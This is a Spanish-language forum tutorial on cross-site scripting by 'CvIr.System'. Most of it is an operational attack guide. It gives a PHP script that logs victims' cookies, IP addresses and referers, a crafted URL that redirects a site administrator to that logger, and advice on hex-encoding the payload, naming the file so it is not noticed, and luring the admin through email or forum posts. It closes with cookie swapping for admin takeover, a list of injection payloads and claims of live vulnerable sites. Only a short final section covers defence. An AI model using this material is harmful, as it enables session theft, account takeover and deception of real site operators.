Primero que nada. Yo aprendi con este minimanual y con algunos complementosEsto es una introducción a atakes XSS....
introducción:
Cross Site Scripting, conocido como XSS es un tipo de vulnerabilidad surgida como consecuencia de errores de filtrado del usuario en aplicaciones web.
Se trata de usar distintas técnicas para inyectar los códigos Javascript - VBScript - Activex (maquina del cliente) o también Php - asp - Perl etc. (que son ejecutables en el servidor). Y así conseguir diferentes objetivos.
Diferencia entre XSS y CSS:
Muchas personas se refieren Cross Site Scripting como CSS, CSS es Cascading Style Sheetsse, CSS ya existía anterior mente, y para no confundirse se a puesto a XSS para denominar Cross Site Scripting(eso no dice que este mal que digan CSS, pero para no confundirse es mejor decir XSS), la lógica es que cross significa cruz(X) por eso cambian cross por X y Site Scripting lo abrevian por SS y quedaria XSS.
XSS en Webs:
las vulnerabilidad
es XSS las podes encontrar en forma "directa" o "indirecta"
directa seria mayormente en los foros,mensajes de errores etc..
Y indirecta seria mayormente en redirecciones, framesets, entre otros...
También afecta mucho a los formularios...
Nunca vieron cuando quieren buscar algo y en la url les ponen por ejemplo: "el%20contenido%no%existe". (cuando te muestra eso en la url es que puede ser vulnerable y es forma "directa")
otro ejemplo: "el+contenido+no+existe".(aca es igual que arriva, lo que cambia que lo separa con un +, y es forma "directa")
Veamos un ejemplo real de XSS en un buscador:
Para ver este enlace Registrate o Inicia Sesion<script>alert('.:Nick:.')</script>
Que son las cookies?
Las cookies son donde se almacenan la información que se guarda en el ordenador del usuario y en cualquier momento la pagina puede pedir esa informacion, que contienen las cookies....
Cuando sabemos que una web es vulnerable?

Ahi utilize este script: <script>alert('Esta web ES VULNERABLE')</script>
Como se ve te aparece un cartelito cuando una web es vulnerable, sino entienden no se preocupen mas adelante entenderán!!!
Manipulación de cookies:
Consiste que un usuario acceda al contenido ( creado por otro usuario 'malicioso' ), que contiene codigo como puede ser JavaScript, para robar el identificador de sesion o datos personales.
Puede llegar hacer vastantes cosas pero una de las fundamentales es robo de cookies.
Supongansen que encontraron una web vulnerable en el buscador(por dar un ejemplo),entonces van a buscar en el codigo fuente algo como esto:
<input type="text" name="palabrita">
<input type="submit" name="buscar" value="Buscar">
Eso seria el boton de buscar, ahora ya sabemos que el formulario se llama palabrita y el boton obviamente se llama buscar.
Ahora para almacenar la cookies del admin/usuario vamos a usar una tecnica que lo que hace es almacenar en un texto las cookies(una de las formas mas conocida y basica).
Bien ahora creamos un archivo *.php y dentro le ponemos este codigo:
<?php
$cookie = $_GET['palabrita'];
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');
$fp = fopen('cookies.txt', 'a');
fwrite($fp, '
Cookie: '.$cookie.'
IP: ' .$ip. '
Date and Time: ' .$date. '
Referer: '.$referer.'
');
fclose($fp);
?>
Vamos a ponerle un nombre a ese .php, vamos a llamarlo cookies.php(obviamente ustedes ponen un nombre menos llamativo, asi el administrador no sospecha tanto).
Cuando el admin entre al link malicioso ese lo manda a la url donde tendras el archivo cookies.php que instantáneamente se creara el txt (cookies.txt) y almacenara las cookies.
Una ves que hicimos todo lo anterior vamos a armar la url maliciosa para la victima que seria asi:
Para ver este enlace Registrate o Inicia Sesionwww.victima.co m/buscador.php?palabrita=
<script>window.locatio
n='
Para ver este enlace Registrate o Inicia Sesion</script>&buscar=;
Ahi vemos que usamos VBScript , cuando la victima(admin) entra al link lo redirecciona a:
Para ver este enlace Registrate o Inicia Sesion y ahi almacenara la cookies como ya había mencionado...
Explicare por que pusimos palabrita y &buscar=; ,esas dos cosas la sacamos del codigo fuente, si en el codigo fuente en ves de decir palabrita y buscar decia palabra y buscador entonces queda:
Para ver este enlace Registrate o Inicia Sesionwww.victima.co m/buscador.php?palabra=
<script>window.locatio
n='
Para ver este enlace Registrate o Inicia Sesion</script>&buscador=;
Bien.., Ahora viene la parte en la que tenemos que hacer caer al admin..., ya que con unos conocimientos básicos se dará cuenta de que es un link raro/malisioso.
Lo que trataremos ahora es camuflar el script lo mas que podamos para que el admin no se de cuenta.., para eso podemos pasar cada signo correspondient
e a Hexadecimal.
Para ver este enlace Registrate o Inicia Sesion , con esa tabla vamos a lograrar que se altere menos el administrador/usuario.
Bueno es la hora de usar un poco la ingenieria social, lo que pueden hacer es lo siguiente...
1- Mandarle un mail al administrador, y en el mail le pasas la url malisiosa
2- Si la victima tiene foro puedes crear un tema y usando ingenieria social le pones la url para que entren
3- Usa la imaginacion y no te olvides de la ingenieria social
Supongamos que ah entrado el administrador al link malisioso y conseguistes las cookies. Es la hora de entrar como administrador.
.., pero diran como entro como administrador si tengo las cookies.
Yo lo explicare "usando" internet explorer (tambien funcionan en otros browsers, pero usaremos IE...)
Lo que haremos es registrarnos a la web o foro (como usuario normal) y con el programa IEcookieview(su pagina
Para ver este enlace Registrate o Inicia Sesion) podemos modificar las cookies en el IE. Bien primero tendremos que logearnos en la web victima con el user ya creado, después sustituiras tus cookies por las del admin, actualizas la pagina(F5) y seras admin (Si todo ah salido bien).
XSS reales by CvIr.System:
Para ver este enlace Registrate o Inicia SesionPara ver este enlace Registrate o Inicia Sesion(no que lo habían tapado que paso? xD )
Para ver este enlace Registrate o Inicia Sesion(si lo van a ejecutar procuren tener tiempo...! xD)
Para ver este enlace Registrate o Inicia SesionPara ver este enlace Registrate o Inicia SesionPara ver este enlace Registrate o Inicia SesionYa le mande varios mails algunas paginas y no responden así que no me hago cargo de lo que hagan
Scripts:
<script>alert('Mensaje')</script>
--------------------------------------------------------------------------------------------------------------------------------------------------------
<script>alert(document.cooki
e)</script>
--------------------------------------------------------------------------------------------------------------------------------------------------------
<script>document.docum
entElement.inn
erHTML="XSS by .....";</script>
--------------------------------------------------------------------------------------------------------------------------------------------------------
javascript:while(1)alert("Floodeandoo!!");
--------------------------------------------------------------------------------------------------------------------------------------------------------
<center><font size="8"><h1>Mensaje</h1></font></center>
--------------------------------------------------------------------------------------------------------------------------------------------------------
"></table><h1>Mensaje</h1>
--------------------------------------------------------------------------------------------------------------------------------------------------------
<iframe src=http://www.xxx.org/hacked.php>
--------------------------------------------------------------------------------------------------------------------------------------------------------
<center><h1>Mensaje</h1></center><IMG src="path de la imagen"><SCRIPT>alert("Mensaje de alerta")</SCRIPT>">
--------------------------------------------------------------------------------------------------------------------------------------------------------
<A HREF="
Para ver este enlace Registrate o Inicia Sesionwww.google.com/
">XSS[/url]
--------------------------------------------------------------------------------------------------------------------------------------------------------
Como verán hay algunas combinaciones.
.., ustedes pueden seguir combinando
Como "Defenderse" de los ataques XSS?
Bueno, hasta ahora vimos como atacar pero también tenemos que saber como defendernos de los ataques XSS no solo para protejer "nuestro" sitio, sino para ayudarle a los webmaster a tapar tal vulnerabilidad Giñar.
Lo primero que tenemos que saber es no confiar en ningun usuario.
También como webmaster puedes filtrar entrada del usuario,codificando caracteres "especiales".
por ejemplo reemplazar los caracteres (< >) (/ \) por sus equibalentes en html
Usar un manejo de sessiones que no utilice cookies..
Esto fue una pequeña introducción Sonrisa.
Autor:CvIr.System